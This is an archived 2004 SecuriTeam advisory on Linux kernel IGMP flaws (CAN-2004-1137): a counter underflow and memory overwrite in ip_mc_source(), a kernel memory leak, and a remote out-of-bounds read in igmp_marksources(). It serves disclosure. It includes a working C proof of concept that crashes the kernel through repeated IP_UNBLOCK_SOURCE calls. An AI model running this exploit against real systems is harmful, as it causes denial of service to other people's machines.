The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[UNIX] Linux Kernel IGMP Vulnerabilities


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: 15 Dec 2004 16:45:13 +0200
From: SecuriTeam <support@securiteam.com.>
To: list@securiteam.com
Subject: [UNIX] Linux Kernel IGMP Vulnerabilities

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  Linux Kernel IGMP Vulnerabilities
------------------------------------------------------------------------


SUMMARY

Multiple locally as well as remotely exploitable bugs have been found in 
the Linux IGMP networking module and the corresponding user API.

DETAILS

Vulnerable Systems:
 * Linux kernel versions 2.4 up to and including 2.4.28
 * Linux kernel versions 2.6 up to and including 2.6.9

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1137>; 
CAN-2004-1137

The IGMP (or Internet group management protocol) is today's standard for 
delivering multicast functionality to Internet hosts. The Linux kernel 
incorporates a base set of the IGMPv2 and IGMPv3 specifications and is 
subdivided into two logical parts:
 * The IGMP/IP networking module responsible for network level operation 
which is only compiled into the kernel if configured for multicasting

 * The socket API delivering multicasting capabilities to user level 
applications which is always available on Linux


The ip_mc_source() function that can be called through the user API (more 
explicitly: 'IP_(UN)BLOCK_SOURCE', 'IP_ADD/DROP_SOURCE_MEMBERSHIP' as well 
as 'MCAST_(UN)BLOCK_SOURCE' and 'MCAST_JOIN/LEAVE_SOURCE_GROUP' socket 
'SOL_IP' level options) suffers from a serious kernel hang and kernel 
memory overwrite problem.

IP_SF_SOCKLIST structure counter
It is possible to decrement the 'sl_count' counter of the 'ip_sf_socklist' 
structure to be 0xffffffff (that is -1 as signed integer, see attached PoC 
code) with the consequence that a repeated call to the above function will 
start a kernel loop counting from 0 to UINT_MAX. This will cause a kernel 
hang for minutes (depending on the machine speed).

Right after that the whole kernel memory following the kmalloc'ated buffer 
will be shifted by 4 bytes causing an immediate machine reboot under 
normal operating conditions. If properly exploited this will lead to 
elevated privileges.

It is quite obvious that moving around all kernel memory following a 
kmalloc'ated buffer is a bad idea. However if done very carefully this may 
give a local attacker elevated privileges. This flaw is easier to exploit 
on an SMP machine (where one thread can interrupt the copy loop before the 
kernel gets completely destroyed).

On uniprocessor configurations the exploit-ability is questionable since 
there is no other exit condition from the copy loop than a kernel oops if 
we hit a non existing page. If an attacker manages to trick the kernel to 
allocate the buffer just right before the end of kernel's physical memory 
mapping and also manages to place for example a LDT just after that 
buffer, exploitation will occur on a uniprocessor machine. Still, the 
easiest exploitation for this bug is to crash the running kernel.

Kernel memory reading
Due to the above mentioned bug under certain conditions it is possible to 
read a fairly significant amount of kernel memory through the 
ip_mc_msfget() and ip_mc_gsfget() (user API) functions.

This issue is slightly related to the loff_t race discovered by iSEC in 
August 2004. Please refer to:
 <http://www.isec.pl/vulnerabilities/isec-0016-procleaks.txt>; 
http://www.isec.pl/vulnerabilities/isec-0016-procleaks.txt

igmp_marksources() function
The igmp_marksources() function from the network module is called in the 
context of an IGMP group query received from the network and suffers from 
an out of bound read access to kernel memory. It happens because the 
received IGMP message's parameters are not validated properly. This flaw 
is remotely exploitable on Linux machines with multicasting support if and 
only if an application has bound a multicast socket.

This problem is a remote kernel vulnerability. There are several 
conditions that must be meet for remote exploitation to occur:

 * The kernel has been compiled with multicasting support and is 
configured to process incoming IGMP packets. Moreover, an attacker must be 
able to send group queries (IGMP_HOST_MEMBERSHIP_QUERY messages) to the 
vulnerable machine.
 * An application running on the vulnerable machine with a bound multicast 
socket with attached source filter. There are numerous applications using 
multicasting like video conferencing or routing software, just to name 
few. The attacker must also know the IGMP group used to perform the 
attack.


By looking at these proc entries it is possible to determine if a system 
is vulnerable to this bug:
/proc/net/igmp
/proc/net/mcfilter

If both exist and are non-empty, the running kernel is vulnerable.

Since the kernel does not validate the 'ih3->nsrcs' IGMP parameter, the 
igmp_marksources() internal kernel function may access kernel memory 
outside of the allocated socket buffer holding the IGMP message. Depending 
on the relative position of the socket buffer in the kernel memory this 
may lead to an immediate kernel crash.

Another consequence is that the kernel will spend most of the CPU time on 
scanning useless kernel data right after the buffer if the 'nsrcs' 
parameter is very high. If a continuous flow of prepared IGMP packets is 
sent to a vulnerable machine, it may stop to process other network 
traffic. For an average machine only a moderate IGMP packet flow is 
required. This may lead to serious problems in case of routing software.

Proof Of Concept
/*
 * Linux igmp.c local DoS
 * Warning: this code will crash your machine!
 *
 * gcc -O2 mreqfck.c -o mreqfck
 *
 * Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/types.h>


#define MCAST_INCLUDE 1
#define IP_MSFILTER 41

#define IP_UNBLOCK_SOURCE 37
#define IP_BLOCK_SOURCE 38


struct ip_msfilter
{
    __u32 imsf_multiaddr;
    __u32 imsf_interface;
    __u32 imsf_fmode;
    __u32 imsf_numsrc;
    __u32 imsf_slist[1];
};

struct ip_mreq_source
{
    __u32 imr_multiaddr;
    __u32 imr_interface;
    __u32 imr_sourceaddr;
};


void
fatal (const char *message)
{
    printf ("\n");
    if (!errno)
      {
          fprintf (stdout, "FATAL: %s\n", message);
      }
    else
      {
          fprintf (stdout, "FATAL: %s (%s) ", message,
                   (char *) (strerror (errno)));
      }
    printf ("\n");
    fflush (stdout);
    exit (1);
}


int
main ()
{
    int s, r, l;
    struct ip_mreqn mr;
    struct ip_msfilter msf;
    struct ip_mreq_source ms;
    in_addr_t a1, a2;

    s = socket (AF_INET, SOCK_DGRAM, 0);
    if (s < 0)
        fatal ("socket");

// first join mcast group
    memset (&mr, 0, sizeof (mr));
    mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199");
    l = sizeof (mr);
    r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);
    if (r < 0)
        fatal ("setsockopt");

// add source filter count=1
    memset (&ms, 0, sizeof (ms));
    ms.imr_multiaddr = inet_addr ("224.0.0.199");
    ms.imr_sourceaddr = inet_addr ("4.5.6.7");
    l = sizeof (ms);
    r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);
    if (r < 0)
        fatal ("setsockopt2");

// del source filter count = 0
// imr_multiaddr & imr_interface must correspond to ADD
    memset (&ms, 0, sizeof (ms));
    ms.imr_multiaddr = inet_addr ("224.0.0.199");
    ms.imr_sourceaddr = inet_addr ("4.5.6.7");
    l = sizeof (ms);
    r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
    if (r < 0)
        fatal ("setsockopt2");

// del again, count = -1
    memset (&ms, 0, sizeof (ms));
    ms.imr_multiaddr = inet_addr ("224.0.0.199");
    ms.imr_sourceaddr = inet_addr ("4.5.6.7");
    l = sizeof (ms);
    r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
    if (r < 0)
        fatal ("setsockopt3");

// crash
    memset (&ms, 0, sizeof (ms));
    ms.imr_multiaddr = inet_addr ("224.0.0.199");
    ms.imr_sourceaddr = inet_addr ("4.5.6.7");
    l = sizeof (ms);
    r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
    if (r < 0)
        fatal ("setsockopt4");

    getchar ();

    return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:ihaquer@isec.pl.> Paul 
Starzetz.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру